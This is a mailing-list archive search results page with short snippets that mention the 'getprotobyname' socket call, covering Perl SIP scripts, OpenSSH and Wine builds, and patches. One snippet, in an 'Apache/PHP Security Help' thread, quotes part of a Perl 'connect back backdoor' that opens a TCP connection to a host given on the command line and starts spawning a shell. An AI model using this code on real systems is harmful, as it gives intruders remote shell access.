Displaying 19 results from an estimated 19 matches for "getprotobyname".
2008 Jun 07
2
Unraveling a protoent struct
I''m spacing - how do I unravel a protent struct pointer?
require ''win32/api''
include Win32
getprotobyname = API.new(''getprotobyname'', ''P'', ''P'', ''ws2_32'')
ptr = getprotobyname.call(''tcp'')
puts "Name: " + # ???
puts "Aliases: " + # ???
puts "Number: " + # ???
Thanks,
Dan
2006 Feb 05
2
R socket communication
...ot;)
}
Note: I receive a "Creating server on localhost" and a "Reading data"
in the R console, but nothing else.
The PERL client
#! /usr/bin/perl
use strict;
use Socket;
# initialize host and port
my $host = shift || 'localhost';
my $port = shift || 7890;
my $proto = getprotobyname('tcp');
my $iaddr = inet_aton($host);
my $paddr = sockaddr_in($port, $iaddr);
socket(SOCKET, PF_INET, SOCK_STREAM, $proto) or die "socket: $!";
connect(SOCKET, $paddr) or die "connect: $!";
print SOCKET "Hello \n";
close SOCKET or die "close: $!";...
2004 Nov 29
1
Polycom Reboot Script PRI errors!!
...p
> From: <sip:$sip_from\@$local_ip>
> To: <sip:$sip_to\@$phone_ip>
> Event: check-sync
> Date: $httptime
> Call-ID: $call_id\@$local_ip
> CSeq: 1300 NOTIFY
> Contact: <sip:$sip_from\@$local_ip>
> Content-Length: 0
>
> ";
>
> $proto = getprotobyname('udp');
> socket( SOCKET, PF_INET, SOCK_DGRAM, $proto );
> $iaddr = inet_aton("$phone_ip");
> $paddr = sockaddr_in( 5060, $iaddr );
> bind( SOCKET, $paddr );
> $port = 5060;
>
> $hisiaddr = inet_aton($phone_ip);
> $hispaddr = so...
2006 Feb 11
1
[Bug 446] New: parse_protocol lookup ordering issue
...ldn't be opened until it got relatively far into the script).
I couldn't understand why this was happening, until I noticed that it was
looking in /etc/protocols and not finding what it was looking for.
After reading the code in the current repository, I noticed that parse_protocol
calls getprotobyname before it looks in the internal table, chain_protos. It
was causing problems with '-p all' since 'all' is not likely to be in the
/etc/protocols file causing NSS to fall through from files to ldap. Only after
the ldap request had timed out did it use its own local table to process...
2004 Jan 22
2
Polycom Reboot Script - Please wiki-size me
...ip:$sip_to\@$phone_ip:5060 SIP/2.0
Via: SIP/2.0/UDP $local_ip
From: <sip:$sip_from\@$local_ip>
To: <sip:$sip_to\@$phone_ip>
Event: check-sync
Date: $httptime
Call-ID: $call_id\@$local_ip
CSeq: 1300 NOTIFY
Contact: <sip:$sip_from\@$local_ip>
Content-Length: 0
";
$proto = getprotobyname('udp');
socket( SOCKET, PF_INET, SOCK_DGRAM, $proto );
$iaddr = inet_aton("$phone_ip");
$paddr = sockaddr_in( 5060, $iaddr );
bind( SOCKET, $paddr );
$port = 5060;
$hisiaddr = inet_aton($phone_ip);
$hispaddr = sockaddr_in( $port, $hisiaddr );
if (...
2005 Nov 30
2
Apache/PHP Security Help.
...int "Data Cha0s Connect Back Backdoor\n\n";
if (!$ARGV[0]) {
printf "Usage: $0 [Host] <Port>\n";
exit(1);
}
print "[*] Dumping Arguments\n";
$host = $ARGV[0];
$port = 80;
if ($ARGV[1]) {
$port = $ARGV[1];
}
print "[*] Connecting...\n";
$proto = getprotobyname('tcp') || die("Unknown Protocol\n");
socket(SERVER, PF_INET, SOCK_STREAM, $proto) || die ("Socket Error\n");
my $target = inet_aton($host);
if (!connect(SERVER, pack "SnA4x8", 2, $port, $target)) {
die("Unable to Connect\n");
}
print "[*] Spaw...
2003 Jun 24
0
SIP REGISTER script
...="REGISTER sip:sipdomain.company.com SIP/2.0
Via: SIP/2.0/UDP $local_ip:5060
From: <sip:$ext_number\@sipdomain.company.com>
To: <sip:$ext_number\@sipdomain.company.com>
Contact: $contact
Call-ID: $tm\@$local_ip
CSeq: $seq REGISTER
Expires: 3700
Content-Length: 0
";
$proto = getprotobyname('udp');
socket(SOCKET, PF_INET, SOCK_DGRAM, $proto) ;
$iaddr = inet_aton("$local_ip");
$paddr = sockaddr_in(5060, $iaddr);
bind(SOCKET, $paddr) ;
$port=5060;
$hisiaddr = inet_aton($proxy_ip) ;
$hispaddr = sockaddr_in($port, $hisiaddr);
send(SOCKET, $MESG, 0,$hispaddr ) || wa...
2014 Dec 28
2
Compiling a static openssh server
...h-6.6p1/auth.c:112: warning: Using 'getspnam' in
statically linked applications requires at runtime the shared libraries
from the glibc version used for linking
./libssh.a(canohost.o): In function `check_ip_options':
/home/john/Downloads/openssh-6.6p1/canohost.c:161: warning: Using
'getprotobyname' in statically linked applications requires at runtime the
shared libraries from the glibc version used for linking
2003 May 06
1
SIP NOTIFY Message
any way the you can get * to send a NOTIFY SIP message to all SIP phones? to have the SIP sets recheck thier configs etc??
Like this?
NOTIFY sip:sip@192.168.0.3:5060 SIP/2.0
Via: SIP/2.0/UDP ipaddress:5060;branch=1
Via: SIP/2.0/UDP ipaddress
From: <sip:webadim@192.168.0.1>
To: <sip:sip@192.168.0.3>
Event: check-sync
Date: Mon, 10 Jul 2000 16:28:53 -0700
Call-ID: test@192.168.0.1
1999 Dec 06
1
Ugly patch to openssh-1.2pre15
Hi,
I am behind a firewall which does not permit connections to port 22, so I
run my ssh server on port 23. :-) Unfortunately, the stupid firewall
prints a few lines of junk when you make a connection to port 23 before
actually starting the connection. This confuses ssh.
Attached is an (ugly) patch against openssh-1.2pre15 which makes it ignore
a configurable number of lines while looking for
2012 Mar 06
6
openssh static build - mission impossible?
...servconf.c:515: warning: Using 'getaddrinfo' in statically linked applications requires at runtime the shared libraries from the glibc version used for linking
./libssh.a(canohost.o): In function `check_ip_options':
/builddir/build/BUILD/openssh-5.6p1/canohost.c:168: warning: Using 'getprotobyname' in statically linked applications requires at runtime the shared libraries from the glibc version used for linking
openbsd-compat//libopenbsd-compat.a(xcrypt.o): In function `xcrypt':
/builddir/build/BUILD/openssh-5.6p1/openbsd-compat/xcrypt.c:78: undefined reference to `crypt'
/usr/bi...
2004 Mar 23
2
A question on Compilation errors...
...packet.o): In function `packet_write_wait':
/openssh-3.8p1/packet.c(1371): undefined reference to `howmany'
/openssh-3.8p1/packet.c(1375): undefined reference to `howmany'
./libssh.a(canohost.o): In function `check_ip_options':
/openssh-3.8p1/canohost.c(150): undefined reference to
`getprotobyname'
openbsd-compat//libopenbsd-compat.a(fake-rfc2553.o): In function
`ssh_getnameinfo':
/openssh-3.8p1/openbsd-compat/fake-rfc2553.c(64): undefined reference
to `gethostbyaddr'
openbsd-compat//libopenbsd-compat.a(fake-rfc2553.o): In function
`ssh_getaddrinfo':
/openssh-3.8p1/openbsd-co...
1998 Nov 24
1
Missing inet.h and netdb.h for SCO
I tried to compile Samba 2.0 beta with cc under SCO 3.2. I seem to be
missing the inet.h and netdb.h include files. Does anyone know if they are
publicly available?
Steve Grose
Sgrose@cmps.com
Continental Managed Pharmacy Services - www.preferrx.com
Voice - 216-459-2025 Ext. 208
Fax - 216-485-8615
Any opinions expressed are my own and not necessarily those of my employers.
2011 May 30
8
[Bug 8188] New: Mechanism for taking an rsync server down for maintenance
https://bugzilla.samba.org/show_bug.cgi?id=8188
Summary: Mechanism for taking an rsync server down for
maintenance
Product: rsync
Version: 3.0.8
Platform: All
OS/Version: All
Status: NEW
Severity: enhancement
Priority: P5
Component: core
AssignedTo: wayned at samba.org
2000 Jan 19
3
AIX openssh patches
...! unsigned long fromlen;
! #else
! int fromlen;
! #endif
! int i;
struct hostent *hp;
char name[MAXHOSTNAMELEN];
***************
*** 116,122 ****
{
unsigned char options[200], *ucp;
char text[1024], *cp;
! int option_size, ipproto;
struct protoent *ip;
if ((ip = getprotobyname("ip")) != NULL)
--- 121,132 ----
{
unsigned char options[200], *ucp;
char text[1024], *cp;
! #ifdef _AIX
! unsigned long option_size;
! #else
! int option_size;
! #endif
! int ipproto;
struct protoent *ip;
if ((ip = getprotobyname("ip")) != NULL)
****...
2001 Jun 22
0
Half-Life: Selected Mode is not supported by your card
...r __libc_fork... yes
checking for _lwp_create... no
checking for clone... yes
checking for ecvt... yes
checking for finite... yes
checking for fpclass... no
checking for ftruncate64... yes
checking for getnetbyaddr... yes
checking for getnetbyname... yes
checking for getpagesize... yes
checking for getprotobyname... yes
checking for getprotobynumber... yes
checking for getrlimit... yes
checking for getservbyport... yes
checking for getsockopt... yes
checking for inet_network... yes
checking for lseek64... yes
checking for lstat... yes
checking for memmove... yes
checking for mmap... yes
checking for rfork.....
2018 May 11
0
Wine release 3.8
...indowPos() should check the final window position in screen coords before adding SWP_NOMOVE."
user32: Avoid repeatedly fetching the window rectangles in SetWindowPos.
user32: Take into account the offset between old and new parent in SetParent().
ws2_32: Add fallback data for getprotobyname/number.
Alistair Leslie-Hughes (5):
netapi32: Add DsEnumerateDomainTrustsA/W stubs.
mfplat: Return S_OK from MFStartup stub.
maintainers: Remove previous wine-staging maintainers.
combase/tests: Add RoGetActivationFactory tests.
include: Move AllocateAndGet* functions...
2011 May 14
3
Problems building wine 1.3.20 on Mac os x 10.6.7
...ddr... yes
checking for library containing gethostbyname... none required
checking for library containing connect... none required
checking for library containing inet_aton... none required
checking for getaddrinfo... yes
checking for getnameinfo... yes
checking for getnetbyname... yes
checking for getprotobyname... yes
checking for getprotobynumber... yes
checking for getservbyport... yes
checking for inet_network... yes
checking for inet_ntop... yes
checking for inet_pton... yes
checking for sendmsg... yes
checking for socketpair... yes
checking for LDAPSortKey... yes
checking for ldap_initialize in -llda...
2006 May 18
2
Problems compiling Wine
...fs... yes
checking for fstatvfs... yes
checking for ftruncate... yes
checking for futimes... yes
checking for futimesat... no
checking for getaddrinfo... yes
checking for getnameinfo... yes
checking for getnetbyname... yes
checking for getopt_long... yes
checking for getpagesize... yes
checking for getprotobyname... yes
checking for getprotobynumber... yes
checking for getpwuid... yes
checking for getservbyport... yes
checking for gettid... no
checking for gettimeofday... yes
checking for getuid... yes
checking for inet_network... yes
checking for lstat... yes
checking for memmove... yes
checking for mmap.....